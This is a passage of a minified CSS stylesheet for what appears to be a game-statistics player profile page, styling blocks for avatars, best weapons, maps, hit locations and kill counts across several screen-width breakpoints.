.user-block .rank { margin-top: 10px; font-size: 80%; font-weight: var(--font-weight-0); margin-bottom: 30px } .user-block .user-stats { position: absolute; bottom: 0; left: 0; width: 100%; height: 40px; background-color: var(--span-color); text-align: center; padding-top: 7px; color: #ffffff; font-size: 17px; font-weight: var(--font-weight-3); border: 0px solid transparent; border-radius: 4px; } .best-weapon-block .weapons { padding-top: 18px; text-align: center; height: 86px; } .best-weapon-block .weapons .kills { margin-top: 5px; text-align: center; font-size: 15px; font-weight: var(--font-weight-3); } .best-weapon-block .weapons li { display: inline-block; padding-left: 3%; padding-right: 3%; } .best-weapon-block .weapons svg, .best-weapon-block .weapons img { width: 14vw; max-height: 4.8vw; filter: invert(var(--svg)); } .best-weapon-block .weapon-table { height: 74%; overflow: auto; } .best-weapon-block .weapon-table svg, .best-weapon-block .weapon-table img { filter: invert(var(--svg)); } .short-stats-block { margin-top: 6px; height: 100%; width: 100%; text-align: center; border: 0px solid transparent; border-radius: 4px; } .short-stats-block .left-stats-block { float: left; width: 50%; } .short-stats-block .right-stats-block { margin-left: 50%; width: 50%; } .short-stats-block ul { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .short-stats-block li { padding-bottom: 5px; } .short-stats-block .left-stats-block ul { text-align: left; } .short-stats-block .right-stats-block ul { text-align: right; } .skull-block { margin-top: 5%; width: 100%; font-size: 14px; font-weight: var(--font-weight-0); } .skull-block .info { font-size: 12px; color: var(--default-text-color); font-weight: var(--font-weight-1); } .skull-block .left-skull-block { float: left; width: 27%; text-align: center } .skull-block .center-skull-block { display: inline-block; width: 39%; text-align: center } .skull-block .right-skull-block { float: right; width: 34%; text-align: center } .skull-block .left-skull-block .skull { display: inline-block; width: 58px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .center-skull-block .skull { display: inline-block; width: 77px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .right-skull-block .skull { display: inline-block; width: 96px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .middle-block .best-maps { height: 53vw; position: relative; width: 100%; -ms-flex: 0 0 70%; flex: 0 0 70%; max-width: 70%; } .middle-block .best-maps .map-top { position: relative; height: 30%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block .best-maps .map-bottom { position: relative; overflow: auto; height: 70%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .map_block { position: relative; width: 100%; height: 100%; margin-top: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .map_block_right { position: relative; width: 100%; height: 100%; margin-top: 6px; padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block .best-maps .map_block img, .middle-block .best-maps .map_block_right img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top .map-lower { position: absolute; max-width: 100%; margin-top: -33px; } .middle-block .best-maps .map-bottom .map-lower { } .middle-block .map-title-rounds .icon { margin-right: 0px; } .middle-block .map-title-rounds .icon img { filter: invert(var(--svg)); margin-bottom: 4px; width: 10px; } .middle-block .best-maps .map-top .map-one { position: absolute; height: 28px; width: 25px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(0, 0, 0, 0.75); padding-top: 1px; left: 7px; } .middle-block .best-maps .map-top .map-pretty-name { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: black; background-color: rgba(255, 255, 255, 0.75); padding-top: 1px; padding-left: 10px; padding-right: 10px; left: 33px; } .middle-block .best-maps .map-top .map-title-rounds { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(241, 122, 38, 0.85); padding-top: 1px; padding-left: 10px; padding-right: 10px; right: 7px; } .middle-block .hitstats-block { height: 53vw; position: relative; overflow: hidden; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 30%; flex: 0 0 30%; max-width: 30%; } .tooltip-top { position: absolute; width: 100%; height: 100%; } .back { width: 100%; height: 100%; border: 0px solid transparent; background-size: cover; border-radius: 4px; } .hit_player { position: absolute; } .hit_head { position: absolute; height: 11vw; width: 10vw; z-index: 101; bottom: 33.6vw; left: 10.2vw; } .hit_neak { position: absolute; height: 3.5vw; width: 7.6vw; z-index: 103; bottom: 33.6vw; left: 10.2vw; } .hit_left_arm { position: absolute; height: 24vw; width: 8vw; bottom: 24vw; left: 0.3vw; z-index: 101; } .hit_right_arm { position: absolute; height: 23vw; width: 6vw; bottom: 11.5vw; left: 20vw; z-index: 104; } .hit_chest { position: absolute; height: 12vw; width: 15vw; bottom: 25.8vw; left: 6.3vw; z-index: 101; } .hit_belly { position: absolute; height: 10vw; width: 16vw; bottom: 18.6vw; left: 6vw; z-index: 101; } .hit_left_leg { position: absolute; height: 20vw; width: 8vw; bottom: 0; left: 7.5vw; z-index: 101; } .hit_right_leg { position: absolute; height: 19.7vw; width: 11vw; bottom: 0; left: 13.8vw; z-index: 101; } .unusualkills_block { overflow: hidden; padding-top: 6px; padding-left: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .unusualkills_text { position: absolute; overflow-wrap: break-word; bottom: 7px; left: 14px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 72%; font-weight: var(--font-weight-1); color: var(--default-text-color); } .unusualkills_score { position: absolute; top: 9px; left: 17px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 192%; font-weight: var(--font-weight-3); color: var(--span-color); } .unusualkills_block_left { overflow: hidden; padding-top: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .icon_block { position: absolute; right: 5px; top: 15px; } .unusualkills_block i, .unusualkills_block_left i { opacity: 0.3; font-size: 2em; text-align: center; color: var(--span-color); } .right-block .top { width: 100%; } .right-block .top .table thead th { padding-top: 18px; font-size: 13px; font-weight: var(--font-weight-1); color: var(--default-text-color); border-bottom: 2px solid var(--table-line); } .right-block .top .table tbody th { color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-1); padding: .7em; border-bottom: none; border-top: 1px solid var(--hover); } } @media (min-width: 768px) and (max-width: 991.98px) { .left-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block { position: relative; margin-top: 6px; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .right-block { position: relative; margin-top: 6px; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .profile__block { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .user-block { height: 42vw; position: relative; width: 100%; -ms-flex: 0 0 38%; flex: 0 0 38%; max-width: 38%; } .block { border: 0px solid transparent; border-radius: 4px; text-align: center; height: 100%; width: 100%; overflow: hidden; } .user-block .block, .best-weapon-block .block, .best-maps .block, .top .block, .unusualkills_block .block, .unusualkills_block_left .block { background-color: var(--sidebar-color); } .best-weapon-block { height: 42vw; position: relative; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 62%; flex: 0 0 62%; max-width: 62%; } .user-block .avatar { margin-top: 18px; height: 110px; width: 110px; border-radius: 50%; border: 3px solid #fff; } .user-block .name { margin-top: 10px; font-size: 1.5em; font-weight: var(--font-weight-1); color: var(--span-color); } .user-block .country { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .user-block .rank-img { margin-top: 10px; max-height: 28px; } .user-block .rank { margin-top: 10px; font-size: 80%; font-weight: var(--font-weight-0); margin-bottom: 30px } .user-block .user-stats { position: absolute; bottom: 0; left: 0; width: 100%; height: 40px; background-color: var(--span-color); text-align: center; padding-top: 7px; color: #ffffff; font-size: 17px; font-weight: var(--font-weight-3); border: 0px solid transparent; border-radius: 4px; } .best-weapon-block .weapons { padding-top: 18px; text-align: center; height: 26%; } .best-weapon-block .weapons .kills { margin-top: 5px; text-align: center; font-size: 15px; font-weight: var(--font-weight-3); } .best-weapon-block .weapons li { display: inline-block; padding-left: 3%; padding-right: 3%; } .best-weapon-block .weapons svg, .best-weapon-block .weapons img { width: 14vw; max-height: 4.8vw; filter: invert(var(--svg)); } .best-weapon-block .weapon-table { height: 74%; overflow: auto; } .best-weapon-block .weapon-table svg, .best-weapon-block .weapon-table img { filter: invert(var(--svg)); } .short-stats-block { margin-top: 6px; height: 100%; width: 100%; padding: 18px; background-color: var(--sidebar-color); text-align: center; border: 0px solid transparent; border-radius: 4px; } .short-stats-block .left-stats-block { float: left; width: 50%; } .short-stats-block .right-stats-block { margin-left: 50%; width: 50%; } .short-stats-block ul { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .short-stats-block li { padding-bottom: 5px; } .short-stats-block .left-stats-block ul { text-align: left; } .short-stats-block .right-stats-block ul { text-align: right; } .skull-block { margin-top: 5%; width: 100%; font-size: 14px; font-weight: var(--font-weight-0); } .skull-block .info { font-size: 12px; color: var(--default-text-color); font-weight: var(--font-weight-1); } .skull-block .left-skull-block { float: left; width: 27%; text-align: center } .skull-block .center-skull-block { display: inline-block; width: 39%; text-align: center } .skull-block .right-skull-block { float: right; width: 34%; text-align: center } .skull-block .left-skull-block .skull { display: inline-block; width: 58px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .center-skull-block .skull { display: inline-block; width: 77px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .right-skull-block .skull { display: inline-block; width: 96px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .middle-block .best-maps { height: 52vw; position: relative; width: 100%; -ms-flex: 0 0 70%; flex: 0 0 70%; max-width: 70%; } .middle-block .best-maps .map-top { position: relative; height: 30%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block .best-maps .map-bottom { position: relative; overflow: auto; height: 70%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .map_block { position: relative; width: 100%; height: 100%; margin-top: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .map_block_right { position: relative; width: 100%; height: 100%; margin-top: 6px; padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block .best-maps .map_block img, .middle-block .best-maps .map_block_right img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top .map-lower { position: absolute; max-width: 100%; margin-top: -33px; } .middle-block .best-maps .map-bottom .map-lower { } .middle-block .map-title-rounds .icon { margin-right: 0px; } .middle-block .map-title-rounds .icon img { filter: invert(var(--svg)); margin-bottom: 4px; width: 10px; } .middle-block .best-maps .map-top .map-one { position: absolute; height: 28px; width: 25px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(0, 0, 0, 0.75); padding-top: 1px; left: 7px; } .middle-block .best-maps .map-top .map-pretty-name { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: black; background-color: rgba(255, 255, 255, 0.75); padding-top: 1px; padding-left: 10px; padding-right: 10px; left: 33px; } .middle-block .best-maps .map-top .map-title-rounds { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(241, 122, 38, 0.85); padding-top: 1px; padding-left: 10px; padding-right: 10px; right: 7px; } .middle-block .hitstats-block { height: 52vw; position: relative; overflow: hidden; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 30%; flex: 0 0 30%; max-width: 30%; } .tooltip-top { position: absolute; width: 100%; height: 100%; } .back { width: 100%; height: 100%; border: 0px solid transparent; background-size: cover; border-radius: 4px; } .hit_player { position: absolute; } .hit_head { position: absolute; height: 11vw; width: 10vw; z-index: 101; bottom: 33.6vw; left: 10.2vw; } .hit_neak { position: absolute; height: 3.5vw; width: 7.6vw; z-index: 103; bottom: 33.6vw; left: 10.2vw; } .hit_left_arm { position: absolute; height: 24vw; width: 8vw; bottom: 24vw; left: 0.3vw; z-index: 101; } .hit_right_arm { position: absolute; height: 23vw; width: 6vw; bottom: 11.5vw; left: 20vw; z-index: 104; } .hit_chest { position: absolute; height: 12vw; width: 15vw; bottom: 25.8vw; left: 6.3vw; z-index: 101; } .hit_belly { position: absolute; height: 10vw; width: 16vw; bottom: 18.6vw; left: 6vw; z-index: 101; } .hit_left_leg { position: absolute; height: 20vw; width: 8vw; bottom: 0; left: 7.5vw; z-index: 101; } .hit_right_leg { position: absolute; height: 19.7vw; width: 11vw; bottom: 0; left: 13.8vw; z-index: 101; } .unusualkills_block { overflow: hidden; padding-top: 6px; padding-left: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .unusualkills_text { position: absolute; overflow-wrap: break-word; bottom: 7px; left: 14px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 72%; font-weight: var(--font-weight-1); color: var(--default-text-color); } .unusualkills_score { position: absolute; top: 9px; left: 17px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 192%; font-weight: var(--font-weight-3); color: var(--span-color); } .unusualkills_block_left { overflow: hidden; padding-top: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .icon_block { position: absolute; right: 5px; top: 15px; } .unusualkills_block i, .unusualkills_block_left i { opacity: 0.3; font-size: 2em; text-align: center; color: var(--span-color); } .right-block .top { width: 100%; } .right-block .top .table thead th { padding-top: 18px; font-size: 13px; font-weight: var(--font-weight-1); color: var(--default-text-color); border-bottom: 2px solid var(--table-line); } .right-block .top .table tbody th { color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-1); padding: .7em; border-bottom: none; border-top: 1px solid var(--hover); } } @media (min-width: 992px) and (max-width: 1199.98px) { .left-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .right-block { position: relative; margin-top: 6px; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .profile__block { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .user-block { height: 300px; position: relative; width: 100%; -ms-flex: 0 0 38%; flex: 0 0 38%; max-width: 38%; } .block { border: 0px solid transparent; border-radius: 4px; text-align: center; height: 100%; width: 100%; overflow: hidden; } .user-block .block, .best-weapon-block .block, .best-maps .block, .top .block, .unusualkills_block .block, .unusualkills_block_left .block { background-color: var(--sidebar-color); } .best-weapon-block { height: 300px; position: relative; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 62%; flex: 0 0 62%; max-width: 62%; } .user-block .avatar { margin-top: 18px; height: 110px; width: 110px; border-radius: 50%; border: 3px solid #fff; } .user-block .name { margin-top: 10px; font-size: 1vw; font-weight: var(--font-weight-1); color: var(--span-color); } .user-block .country { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .user-block .rank-img { margin-top: 10px; max-height: 28px; } .user-block .rank { margin-top: 10px; font-size: 80%; font-weight: var(--font-weight-0); margin-bottom: 30px } .user-block .user-stats { position: absolute; bottom: 0; left: 0; width: 100%; height: 40px; background-color: var(--span-color); text-align: center; padding-top: 7px; color: #ffffff; font-size: 17px; font-weight: var(--font-weight-3); border: 0px solid transparent; border-radius: 4px; } .best-weapon-block .weapons { padding-top: 18px; text-align: center; height: 26%; } .best-weapon-block .weapons .kills { margin-top: 5px; text-align: center; font-size: 15px; font-weight: var(--font-weight-3); } .best-weapon-block .weapons li { display: inline-block; padding-left: 3%; padding-right: 3%; } .best-weapon-block .weapons svg, .best-weapon-block .weapons img { width: 5.6vw; max-height: 2.2vw; filter: invert(var(--svg)); } .best-weapon-block .weapon-table { height: 74%; overflow: auto; } .best-weapon-block .weapon-table svg, .best-weapon-block .weapon-table img { filter: invert(var(--svg)); } .short-stats-block { margin-top: 6px; height: 100%; width: 100%; padding: 18px; background-color: var(--sidebar-color); text-align: center; border: 0px solid transparent; border-radius: 4px; } .short-stats-block .left-stats-block { float: left; width: 50%; } .short-stats-block .right-stats-block { margin-left: 50%; width: 50%; } .short-stats-block ul { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .short-stats-block li { padding-bottom: 5px; } .short-stats-block .left-stats-block ul { text-align: left; } .short-stats-block .right-stats-block ul { text-align: right; } .skull-block { margin-top: 5%; width: 100%; font-size: 14px; font-weight: var(--font-weight-0); } .skull-block .info { font-size: 12px; color: var(--default-text-color); font-weight: var(--font-weight-1); } .skull-block .left-skull-block { float: left; width: 27%; text-align: center } .skull-block .center-skull-block { display: inline-block; width: 39%; text-align: center } .skull-block .right-skull-block { float: right; width: 34%; text-align: center } .skull-block .left-skull-block .skull { display: inline-block; width: 58px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .center-skull-block .skull { display: inline-block; width: 77px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .right-skull-block .skull { display: inline-block; width: 96px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .middle-block .best-maps { height: 22vw; position: relative; width: 100%; -ms-flex: 0 0 70%; flex: 0 0 70%; max-width: 70%; } .middle-block .best-maps .map-top { position: relative; height: 35%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block .best-maps .map-bottom { position: relative; overflow: auto; height: 65%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .map_block { position: relative; width: 100%; height: 100%; margin-top: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .map_block_right { position: relative; width: 100%; height: 100%; margin-top: 6px; padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block .best-maps .map_block img, .middle-block .best-maps .map_block_right img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top .map-lower { position: absolute; max-width: 100%; margin-top: -33px; } .middle-block .best-maps .map-bottom .map-lower { } .middle-block .map-title-rounds .icon { margin-right: 0px; } .middle-block .map-title-rounds .icon img { filter: invert(var(--svg)); margin-bottom: 4px; width: 10px; } .middle-block .best-maps .map-top .map-one { position: absolute; height: 28px; width: 25px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(0, 0, 0, 0.75); padding-top: 1px; left: 7px; } .middle-block .best-maps .map-top .map-pretty-name { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: black; background-color: rgba(255, 255, 255, 0.75); padding-top: 1px; padding-left: 10px; padding-right: 10px; left: 33px; } .middle-block .best-maps .map-top .map-title-rounds { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(241, 122, 38, 0.85); padding-top: 1px; padding-left: 10px; padding-right: 10px; right: 7px; } .middle-block .hitstats-block { height: 22vw; position: relative; overflow: hidden; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 30%; flex: 0 0 30%; max-width: 30%; } .tooltip-top { position: absolute; width: 100%; height: 100%; } .back { width: 100%; height: 100%; border: 0px solid transparent; background-size: cover; border-radius: 4px; } .hit_player { position: absolute; } .hit_head { position: absolute; height: 3.2vw; width: 3vw; z-index: 101; bottom: 12.1vw; left: 4.1vw; } .hit_neak { position: absolute; height: 1.3vw; width: 2.25vw; z-index: 102; bottom: 12vw; left: 4.22vw; } .hit_chest { position: absolute; height: 4vw; width: 4.5vw; bottom: 9.3vw; left: 3vw; z-index: 101; } .hit_belly { position: absolute; height: 2.8vw; width: 4.7vw; bottom: 7.5vw; left: 3vw; z-index: 101; } .hit_left_arm { position: absolute; height: 8vw; width: 2.5vw; bottom: 8.9vw; left: 1.1vw; z-index: 101; } .hit_right_arm { position: absolute; height: 7.6vw; width: 1.9vw; bottom: 4.8vw; left: 7vw; z-index: 104; } .hit_left_leg { position: absolute; height: 8vw; width: 3vw; bottom: 0; left: 3vw; z-index: 101; } .hit_right_leg { position: absolute; height: 8vw; width: 3.5vw; bottom: 0; left: 5.40vw; z-index: 101; } .unusualkills_block { overflow: hidden; padding-top: 6px; padding-left: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .unusualkills_text { position: absolute; overflow-wrap: break-word; bottom: 7px; left: 14px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 72%; font-weight: var(--font-weight-1); color: var(--default-text-color); } .unusualkills_score { position: absolute; top: 9px; left: 17px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 192%; font-weight: var(--font-weight-3); color: var(--span-color); } .unusualkills_block_left { overflow: hidden; padding-top: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .icon_block { position: absolute; right: 5px; top: 15px; } .unusualkills_block i, .unusualkills_block_left i { opacity: 0.3; font-size: 2em; text-align: center; color: var(--span-color); } .right-block .top { width: 100%; } .right-block .top .table thead th { padding-top: 18px; font-size: 13px; font-weight: var(--font-weight-1); color: var(--default-text-color); border-bottom: 2px solid var(--table-line); } .right-block .top .table tbody th { color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-1); padding: .7em; border-bottom: none; border-top: 1px solid var(--hover); } } @media (min-width: 1200px) and (max-width: 1499.98px) { .left-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .right-block { position: relative; margin-top: 6px; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .profile__block { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .user-block { height: 26vw; position: relative; width: 100%; -ms-flex: 0 0 38%; flex: 0 0 38%; max-width: 38%; } .block { border: 0px solid transparent; border-radius: 4px; text-align: center; height: 100%; width: 100%; overflow: hidden; } .user-block .block, .best-weapon-block .block, .best-maps .block, .top .block, .unusualkills_block .block, .unusualkills_block_left .block { background-color: var(--sidebar-color); } .best-weapon-block { height: 26vw; position: relative; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 62%; flex: 0 0 62%; max-width: 62%; } .user-block .avatar { margin-top: 18px; height: 110px; width: 110px; border-radius: 50%; border: 3px solid #fff; } .user-block .name { margin-top: 10px; font-size: 1vw; font-weight: var(--font-weight-1); color: var(--span-color); } .user-block .country { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .user-block .rank-img { margin-top: 10px; max-height: 28px; } .user-block .rank { margin-top: 10px; font-size: 80%; font-weight: var(--font-weight-0); margin-bottom: 30px } .user-block .user-stats { position: absolute; bottom: 0; left: 0; width: 100%; height: 40px; background-color: var(--span-color); text-align: center; padding-top: 7px; color: #ffffff; font-size: 17px; font-weight: var(--font-weight-3); border: 0px solid transparent; border-radius: 4px; } .best-weapon-block .weapons { padding-top: 18px; text-align: center; height: 26%; } .best-weapon-block .weapons .kills { margin-top: 5px; text-align: center; font-size: 15px; font-weight: var(--font-weight-3); } .best-weapon-block .weapons li { display: inline-block; padding-left: 3%; padding-right: 3%; } .best-weapon-block .weapons svg, .best-weapon-block .weapons img { width: 5.6vw; max-height: 2.2vw; filter: invert(var(--svg)); } .best-weapon-block .weapon-table { height: 74%; overflow: auto; } .best-weapon-block .weapon-table svg, .best-weapon-block .weapon-table img { filter: invert(var(--svg)); } .short-stats-block { margin-top: 6px; height: 100%; width: 100%; padding: 18px; background-color: var(--sidebar-color); text-align: center; border: 0px solid transparent; border-radius: 4px; } .short-stats-block .left-stats-block { float: left; width: 50%; } .short-stats-block .right-stats-block { margin-left: 50%; width: 50%; } .short-stats-block ul { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .short-stats-block li { padding-bottom: 5px; } .short-stats-block .left-stats-block ul { text-align: left; } .short-stats-block .right-stats-block ul { text-align: right; } .skull-block { margin-top: 5%; width: 100%; font-size: 14px; font-weight: var(--font-weight-0); } .skull-block .info { font-size: 12px; color: var(--default-text-color); font-weight: var(--font-weight-1); } .skull-block .left-skull-block { float: left; width: 27%; text-align: center } .skull-block .center-skull-block { display: inline-block; width: 39%; text-align: center } .skull-block .right-skull-block { float: right; width: 34%; text-align: center } .skull-block .left-skull-block .skull { display: inline-block; width: 58px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .center-skull-block .skull { display: inline-block; width: 77px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .right-skull-block .skull { display: inline-block; width: 96px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .middle-block .best-maps { height: 22vw; position: relative; width: 100%; -ms-flex: 0 0 70%; flex: 0 0 70%; max-width: 70%; } .middle-block .best-maps .map-top { position: relative; height: 35%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block .best-maps .map-bottom { position: relative; overflow: auto; height: 65%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .map_block { position: relative; width: 100%; height: 100%; margin-top: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .map_block_right { position: relative; width: 100%; height: 100%; margin-top: 6px; padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block .best-maps .map_block img, .middle-block .best-maps .map_block_right img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top .map-lower { position: absolute; max-width: 100%; margin-top: -33px; } .middle-block .best-maps .map-bottom .map-lower { } .middle-block .map-title-rounds .icon { margin-right: 0px; } .middle-block .map-title-rounds .icon img { filter: invert(var(--svg)); margin-bottom: 4px; width: 10px; } .middle-block .best-maps .map-top .map-one { position: absolute; height: 28px; width: 25px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(0, 0, 0, 0.75); padding-top: 1px; left: 7px; } .middle-block .best-maps .map-top .map-pretty-name { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: black; background-color: rgba(255, 255, 255, 0.75); padding-top: 1px; padding-left: 10px; padding-right: 10px; left: 33px; } .middle-block .best-maps .map-top .map-title-rounds { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(241, 122, 38, 0.85); padding-top: 1px; padding-left: 10px; padding-right: 10px; right: 7px; } .middle-block .hitstats-block { height: 22vw; position: relative; overflow: hidden; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 30%; flex: 0 0 30%; max-width: 30%; } .tooltip-top { position: absolute; width: 100%; height: 100%; } .back { width: 100%; height: 100%; border: 0px solid transparent; background-size: cover; border-radius: 4px; } .hit_player { position: absolute; } .hit_head { position: absolute; height: 3.2vw; width: 3vw; z-index: 101; bottom: 12.1vw; left: 4.1vw; } .hit_neak { position: absolute; height: 1.3vw; width: 2.25vw; 